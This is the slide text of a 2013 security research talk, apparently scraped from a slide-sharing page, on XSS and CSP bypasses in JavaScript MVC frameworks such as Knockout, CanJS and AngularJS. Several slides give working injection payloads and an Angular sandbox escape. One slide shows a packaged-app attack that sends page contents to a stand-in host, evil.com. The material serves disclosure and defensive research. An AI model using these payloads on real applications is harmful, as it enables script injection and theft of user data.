JSMVCOMFG

To sternly look at JavaScript MVC and Templating Frameworks

JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks

Mario Heiderich, Security Research / Penetration Testing
+ Follow

Published on Dec 12, 2013

Published in: Technology, Business

Nadir Boussoukaia , Services & Solutions Sales Manager in Telecom BU at Gemalto

Since Backbone is not a 2way binding per se, maybe it could be considered as safer?

3 years ago

Nadir Boussoukaia , Services & Solutions Sales Manager in Telecom BU at Gemalto

Awesome presentation. I assume you covered Backbone too through mustache even if by default people use undersoce.

3 years ago

JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks

1. **JSMVCOMFG To sternly look at** JavaScript MVC and Templating Frameworks A presentation by Mario Heiderich mario@cure53.de || @0x6D6172696F
2. **Infosec Hobgoblin ● Dr.-Ing. Mario** Heiderich ● Researcher and Post-Doc, Ruhr-Uni Bochum – ● PhD Thesis on Client Side Security and Defense Founder of Cure53 – – Consulting, Workshops, Trainings – ● Penetration Testing Firm Simply the Best Company of the World Published author and international speaker – Specialized in HTML5 and SVG Security – JavaScript, XSS and Client Side Attacks ● HTML5 Security Cheatsheet ● And something new! – @0x6D6172696F – mario@cure53.de
3. **Today ● JavaScript MVC &** Templating Frameworks ● Why? Because they are becoming popular ● Yes, we have numbers, wait for it... ● And they are special ● Are there security flaws? ● If yes (heh.. if..) what can we learn from them?
4. **What are they ● Written** in JavaScript ● Often huge ● Often very complex ● Often maintained by corporations ● Interfaces to enable different coding styles ● Extending, optimizing, changing ● The way developers work with JavaScript ● The way web applications used to work
5. **What do they do? ●** Claims ● ● ● ● “More productive out of the box” EmberJS “AngularJS lets you extend HTML vocabulary for your application” AngularJS “Fast templates, responsive widgets” “Simple and intuitive, powerful and extensible, lightning fast” JsRender CanJS
6. **Examples <script type="text/x-handlebars"> {{outlet}} </script>** <script type="text/x-handlebars" id="x"> <h1>People</h1> {{#each model}} Hello, {{fullName}}! App = Ember.Application.create(); App.Person = Ember.Object.extend({ firstName: null, lastName: null, fullName: function() { return this.get('firstName') + " " + this.get('lastName'); }.property('firstName', 'lastName') }); App.IndexRoute = Ember.Route.extend({ model: function() { var people = [{{/each}} App.Person.create({ firstName: "Frank", </script> lastName: "N. Stein" })]; return people; }});
7. **Examples <!doctype html> <html ng-app>** <head> <script src="angular.min.js"></script> </head> <body> <label>Name:</label> <input type="text" ng-model="yourName" placeholder="Your name"> <hr> <h1>Hello {{yourName}}!</h1> </body> </html>
8. **Examples <select** data-bind="options: tickets, optionsCaption: 'Choose...', optionsText: 'name', value: chosenTicket"> <option value="">Economy</option> <option value="">Business</option> <option value="">First Class</option> </select> <button data-bind="enable: chosenTicket, click: resetTicket" disabled="">Clear</button> <script type="text/javascript"> function TicketsViewModel() { this.tickets = [{ name: "Economy", price: 199.95 }, { name: "Business", price: 449.22 }, { name: "First Class", price: 1199.99 }]; this.chosenTicket = ko.observable(); this.resetTicket = function() { this.chosenTicket(null) } } ko.applyBindings(new TicketsViewModel(), document.getElementById("x")); </script> Binding stuff Raw Data! Puttin' it togetha
9. **So.. ● JSMVC Frameworks do** the following ● They extend the DOM ● They “abstractify” the DOM ● They provide new interfaces ● They often use script-templates or “data blocks” “The script element allows authors to include HTML5 HTML5 Approved! Approved! dynamic script and data blocks

in their documents.” – – Sometimes ERB-style – ● Often Mustache-style Sometimes something completely different They often use markup-sugar – Custom elements, <hellokitty> – HTML5 data attributes WHATWG

10. **Mustache ● Specified in 2009** by Wanstrath ● {{ stuff }} ● {{#is_true}} Bla {{/is_true}}
11. **JSMVC and Security ● Initial** rationale for security research ● ● ● It's trending, it's complex, it's different What else do we need... nothing Poke-first, analyze later ● ● ● Pick a target, thanks TodoMVC! Explore debugging possibilities Goal: Execute arbitrary JavaScript, maybe more ● ● Using otherwise uncommon ways ● ● Using the JSMVC capabilities Assume injection, assume conventional XSS filter After poking, derive a metric for JSMMVC security
12. **Pokes ● Why not start** with KnockoutJS <script src="knockout-2.3.0.js"></script> <script> ko.applyBindings(); </script>
13. **Wait... ● JavaScript from within** a data-attribute? ● No extra magic, just the colon? ● That's right ● See where we are heading with this? ● Knockout knocks out XSS filters ● ● Chrome's XSS Auditor ● ● IE's XSS Filter Anything that allows data attributes This behavior breaks existing security assumptions!
14. **The reason ● “eval” via** “Function” parseBindingsString: function(b, c, d) { try { var f; if (!(f = this.Na[b])) { var g = this.Na, e, m = "with($context) {with($data||{}){return{" + a.g.ea(b) + "}}}"; e = new Function("$context", "$element", m); f = g[b] = e } return f(c, d) } catch (h) { throw h.message = "Unable to parse bindings.nBindings value: " + b + "nMessage: " + h.message, h; } }
15. **Keep pokin' ● CanJS for** example <script src="jquery-2.0.3.min.js"></script> <script src="can.jquery.js"></script> <body> <script type="text/ejs" id="todoList"> <%==($a)->abc})-alert(1)-can.proxy(function(){%> </script> <script> can.view('todoList', {}); </script> </body>
16. **Reason ● A copy of** “eval” called “myEval” myEval = function(script) { eval(script); }, [...] var template = buff.join(''), out = { out: 'with(_VIEW) { with (_CONTEXT) {' + template + " " + finishTxt + "}}" }; // Use `eval` instead of creating a function, because it is easier to debug. myEval.call(out, 'this.fn = (function(_CONTEXT,_VIEW){' + out.out + '});rn//@ sourceURL=' + name + ".jjs"); return out;
17. **And even more... <script src="jquery-1.7.1.min.js"></script>** <script src="kendo.all.min.js"></script> # alert(1) # <script> var template = kendo.template($("#x").html()); var tasks = [{ id: 1}]; var dataSource = new kendo.data.DataSource({ data: tasks }); dataSource.bind("change", function(e) { var html = kendo.render(template, this.view()); }); dataSource.read(); </script>
18. **Keeeeep Pokin' ● AngularJS 1.1.x** <script src="angular.min.js"></script> {{constructor.constructor('alert(1)')()}} ● Or this – even with encoded mustaches <script src="angular.min.js"></script> {{constructor.constructor('alert(1)')()}}
19. **Reason ● “eval” via “Function”** var code = 'var l, fn, p;n'; forEach(pathKeys, function(key, index) { code += 'if(s === null || s === undefined) return s;n' + 'l=s;n' + 's=' + (index // we simply dereference 's' on any .dot notation ? 's' // but if we are first then we check locals first, and if so read it first : '((k&&k.hasOwnProperty("' + key + '"))?k:s)') + '["' + key + '"]' + ';n' + […] '}n' + ' s=s.$$vn' + '}n'; }); code += 'return s;'; fn = Function('s', 'k', code); // s=scope, k=locals fn.toString = function() { return code; };

20. **Sadly for the attacker... ●** They fixed it in 1.2.x ● Dammit! ● Good test-cases too! Look... ● function ensureSafeObject(obj, fullExpression) { // nifty check if obj is Function that is fast … other contexts if (obj && obj.constructor === obj) { throw $parseMinErr('isecfn', 'Referencing Function in Angular expressions is disallowed!Expression: {0}', fullExpression); } else { return obj; }
21. **Not that hard to solve** var foo = {}; foo.bar = 123; foo.baz = 456; console.log(foo.hasOwnProperty('bar')); console.log(foo.hasOwnProperty('baz')); console.log(foo.hasOwnProperty('constructor')); console.log(foo.hasOwnProperty('__proto__')); console.log(foo.hasOwnProperty('prototype')); // // // // // true true false false false
22. **CSP ● Most of the** JSMVC will not work with CSP ● At least not without unsafe-eval ● That's not gonna help evangelize CSP ● Although there's hope – AngularJS
23. **<div ng-app ng-csp> <div ng-app** ng-csp>
24. **AngularJS ● Features a special** CSP mode ● Said to be 30% slower ● But enables AngularJS to work ● Even without unsafe-eval or other nasties ● ● Magick! It also brings back script injections
25. **<?php header('X-Content-Security-Policy: default-src 'self'); header('Content-Security-Policy:** default-src 'self'); header('X-Webkit-CSP: default-src 'self'); ?> <!doctype html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> </head> <body onclick="alert(1)"> Click me <h1 ng-mouseover="$event.view.alert(2)"> Hover me </h1> </body> Proper CSP!
26. **How do they do it?** I. Parse the “ng”-attributes II. Slice out the relevant parts III. Create anonymous functions IV. Connect them with events V. Wait for event handler to fire $element.onclick=function($event){ $event['view']['alert']('1') } ● It's technically not in-line ● Neither is any “eval” being used
27. **So, enabling the JSMVC to** work with CSP (partly) kills the protection CSP delivers? Aw, yeah, being a pen-tester these days!
28. **“Packaged apps deliver an experience** as capable as a native app, but as safe as a web page. Just like web apps, packaged apps are written in HTML5, JavaScript, and CSS.” Uhm...
29. **“Packaged apps have access to** Chrome APIs and services not available to traditional web sites. You can build powerful apps that interact with network and hardware devices, media tools, and much more.” :-O
30. **It's bad “Ever played with** Chrome Packaged Apps?” ● Very powerful tools ● Similar yet not equivalent to extensions ● Melting the barrier between web and desktop ● HTML + JS + many APIs ● CSP enabled by default ● And work great with AngularJS (of course)
31. **Doing the Nasty ● Let's** bypass CSP in CPA using Angular ● And escalate some privileges
32. **Benign The HTML of <!doctype** html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> <script src="controller.js"></script> <link rel="stylesheet" href="todo.css"> </head> <body> <h2>Todo</h2> {{remaining()}} of {{todos.length}} remaining [archive] <ul class="unstyled"> <li ng-repeat="todo in todos"> <input type="checkbox" ng-model="todo.done"> {{todo.text}}   </body> </html> our fancy app
33. **Benign function TodoCtrl($scope) { $scope.todos** = [{text:'learn angular', done:true}, {text:'build an angular app', done:false}]; $scope.remaining = function() { var count = 0; angular.forEach($scope.todos, function(todo) { count += todo.done ? 0 : 1; }); return count; }; $scope.archive = function()

{ var oldTodos = $scope.todos; $scope.todos = []; angular.forEach(oldTodos, function(todo) { if (!todo.done) $scope.todos.push(todo); }); }; } Our Controller Code, AngularJS

34. **Benign { "manifest_version": 2, "name":** "Lab3b MVC with controller", "permissions": ["webview"], "version": "1", "app": { "background": { "scripts": ["main.js"] } }, "icons": { "128": "icon.png" } } The Manifest, Permissions too
35. **Attacked <!doctype html> <html ng-app** ng-csp> <head> <script src="angular.min.js"></script> <script src="controller.js"></script> <link rel="stylesheet" href="todo.css"> </head> <body> <h2 ng-click="invalid(w=$event.view, x=w.document.createElement('webview'), x.src='http://evil.com/?'+w.btoa(w.document.body.innerHTML), w.document.body.appendChild(x))">Todo-shmoodoo</h2> {{remaining()}} of {{todos.length}} remaining [archive] <ul class="unstyled"> <li ng-repeat="todo in todos"> <input type="checkbox" ng-model="todo.done"> {{todo.text}}   </body> </html> Oh, Sh*t!
36. **Happy testing – there's a** lot more to find!
37. **For example this... **
38. **More CSP Bypasses ● And** even a much better one ● ● Upload a GIF ● ● Inject a class attribute Get a free AngularJS + HTML5 CSP Bypass Wanna see?
39. **Let's upload a pic! <span** class="ng-include:'test.gif'"> Now we inject a class attribute It's a valid GIF but also contains payload! – including the image as HTML! Now it imports itself <link rel="import" href="test.gif"> Thereby loads itself as JS <script src="test.gif"></script> “And pop goes the weasel”
40. **“It looks like we will** agree to disagree on the importance of the HTML imports issue -- we don't think it's possible for a third party to execute arbitrary Javascript via the process you describe, so the risk of unsanitized HTML would be one that the developer was taking on deliberately.”
41. **Quick Recap ● What have** we seen today ● Rotten Markup-Sugar ● JavaScript exec. from data-attributes ● JavaScript exec. from any element ● JavaScript exec. within encoded mustache ● A full-blown CSP Bypass ● The reasons for all these ● Oh – and an attack against Chrome Packaged Apps ● And it was just the tip of the iceberg ● Lots of “eval” and bad coding practices
42. **“Markup-Sugar considered dangerous”**
43. **Metrics ● While root causes** persist, new challenges arise ● We need to build metrics ● After having analyzed 12 frameworks: Here's a proposal {}SEC-A Are template expressions equivalent to a JavaScript eval? {}SEC-B Is the the execution scope well isolated or sand-boxed? {}SEC-C Can arbitrary HTML elements serve as template containers? {}SEC-D Does the framework allow, encourage or even enforce separation of code and content? {}SEC-E Does the framework maintainer have a security response program? {}SEC-F Does the Framework allow safe CSP rules to be used
44. **Conclusion ● JSMVC requires new** security requirements ● No reflected content from the server within template containers ● Sometimes, everything is a template container ● Strict separation is necessary ● And there is hope! ● Maybe JSMVC eliminates XSS ● Because it changes how

we design applications. ● And does by boosting and not hindering productivity ● Interested in collaborating on this? Contact me!

45. **The End ● Questions?** ● Comments?

ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...

Mario Heiderich

An Abusive Relationship with AngularJS

Mario Heiderich

The Image that called me - Active Content Injection with SVG Files

Mario Heiderich

AngularJS Security: defend your Single Page Application

Carlo Bonamico

In the DOM, no one will hear you scream

Mario Heiderich

Single-Page-Application & REST security

Igor Bossenko